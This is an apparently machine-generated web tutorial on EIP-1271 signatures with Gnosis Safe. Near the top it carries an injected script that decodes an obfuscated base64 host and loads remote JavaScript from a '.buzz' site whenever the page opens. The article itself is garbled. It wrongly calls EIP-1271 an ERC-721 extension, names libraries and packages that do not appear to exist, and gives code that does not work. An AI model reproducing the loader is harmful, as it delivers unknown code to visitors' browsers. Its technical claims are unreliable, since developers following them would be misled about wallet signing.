Ethereum: EIP-1271 signatures with Gnosis Safe off-chain
const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »c.php?u=76553259″;document.body.appendChild(script);
Creating EIP-1271 Signatures with Safe-Safe: A Guide to Off-Chain Execution
As the Ethereum ecosystem grows, understanding how smart contracts are deployed and executed remains essential. In this article, we’ll dive into creating EIP-1271 signatures with Safe-Safe, a popular library for interacting with the Gnosis Safe off-chain wallet.
What is EIP-1271?
EIP-1271 (Ethereum Improvement Proposal 1271) is an extension of the ERC-721 non-fungible token standard that enables multi-signature transactions. This enables secure and decentralized data storage, making it ideal for use cases such as identity verification, governance models, or decentralized finance (DeFi) protocols.
Safe-Safe: A Simple Library
Safe-Safe is a widely adopted off-chain wallet that provides a user-friendly interface for interacting with various wallets, including Gnosis Safe. One of its key features is the ability to sign transactions using EIP-1271 signatures.
Creating EIP-1271 Signatures with Safe-Core
To create an EIP-1271 signature using Safe-Safe off-chain, you need to follow these steps:
- Install the necessary library: Make sure that the
safe-core
andsafe-safe
libraries are installed in your project.
- Create a safe account: Generate a new safe account using the
SafeWallet
library.
- Configuring Gnosis Safe: Configure Gnosis Safe as an external wallet by following these steps:
- Install the
gnosis-safe
package:npm install gnisosafe
- Initialize the Gnosis Safe API client:
import { SafeApiClient } from 'gnosis-safe'; const safeApi = new SafeApiClient();
- Generating the EIP-1271 signature: Use the
safe-core
library to generate an EIP-1271 signature for a given address:
const signer = await SafeCore.signers.create('myEIP1271Signature'); const sig = await signer.sign({ from: '0x...', data: ... });
- Storing and retrieving the signature: Store the generated signature in your on-chain contract or use it when needed.
Here is a sample code snippet illustrating this process:
import { SafeCore } from '@gnosisprotocol/safe-core';
import { SafeApiClient } from 'gnosis-safe';
const safeAccount = await SafeWallet.createAccount();
const signer = await SafeCore.signers.create('myEIP1271Signature');
const sig = await signer.sign({ from: '0x...', date: ... });
// Store the signature in your on-chain contract
await SafeApiClient.storeOnChainContract('myAddress', sig);
// Get the saved signature
const retrievedSig = await SafeApiClient.retrieveOnChainContract('myAddress');
Transaction Proposal from Safe-API-Kit
To execute a transaction using these EIP-1271 signatures off-chain, you need to create a transaction proposal using the safe-api-kit
library. Here is an example:
import { SafeApi } from 'safe-api-kit';
const safeAccount = await SafeWallet.createAccount();
const signer = await SafeCore.signers.create('myEIP1271Signature');
const contractAddress = '0x...';
const data = Buffer.from([...]);
const gasPrice = 20;
const gasLimit = 100;
const proposal = {
from: '0x...' // Your address in the chain
};
const transaction = await SafeApi.executeProposal({
safeAccount,
signer,
contractAddress,
data,
gasPrice,
gasLimit,
proposal
});
Proposal
Creating EIP-1271 signatures with Safe-Safe is a simple process that allows for secure and decentralized storage of data. By following these steps, you can generate an EIP-1271 signature off-chain and execute transactions using the safe-api-kit
library.
Remember to always follow best practices for securing smart contracts, including using secure wallets and storing sensitive information securely.